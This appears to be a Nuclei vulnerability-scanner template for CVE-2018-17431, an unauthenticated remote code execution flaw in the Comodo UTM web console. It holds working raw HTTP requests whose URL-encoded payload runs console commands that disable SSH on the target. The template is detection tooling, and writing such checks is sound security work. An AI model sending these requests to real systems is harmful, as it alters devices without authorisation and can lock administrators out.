id: CVE-2018-17431

info:
  name: Comodo Unified Threat Management Web Console - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48825
    - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17431
    - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17431
    cwe-id: CWE-287
  tags: cve2018,comodo,rce,edb,cve

http:
  - raw:
      - |
        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - | # to triggering RCE
        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Configuration has been altered"
        part: body
      - type: status
        status:
          - 200

# Enhanced by mp on 2022/05/13